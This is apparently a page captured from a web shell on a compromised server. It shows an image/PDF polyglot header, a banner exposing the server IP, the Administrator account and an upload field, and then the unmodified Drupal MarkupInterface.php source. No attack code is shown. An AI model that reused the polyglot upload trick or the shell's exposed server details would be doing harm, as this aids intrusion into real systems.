GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Component/Render/ |
Upload File : |
<?php namespace Drupal\Component\Render; /** * Marks an object's __toString() method as returning markup. * * Objects that implement this interface will not be automatically XSS filtered * by the render system or automatically escaped by the theme engine. * * If there is any risk of the object's __toString() method returning * user-entered data that has not been filtered first, it must not be used. If * the object that implements this does not perform automatic escaping or * filtering itself, then it must be marked as "@internal". For example, Views * has the internal ViewsRenderPipelineMarkup object to provide a custom render * pipeline in order to render JSON and to fast render fields. By contrast, * FormattableMarkup and TranslatableMarkup always sanitize their output when * used correctly. * * If the object is going to be used directly in Twig templates it should * implement \Countable so it can be used in if statements. * * @see \Drupal\Component\Render\MarkupTrait * @see \Drupal\Core\Template\TwigExtension::escapeFilter() * @see \Drupal\Component\Render\FormattableMarkup * @see \Drupal\Core\StringTranslation\TranslatableMarkup * @see \Drupal\views\Render\ViewsRenderPipelineMarkup * @see twig_render_template() * @see sanitization * @see theme_render */ interface MarkupInterface extends \JsonSerializable { /** * Returns markup. * * @return string * The markup. */ public function __toString(); }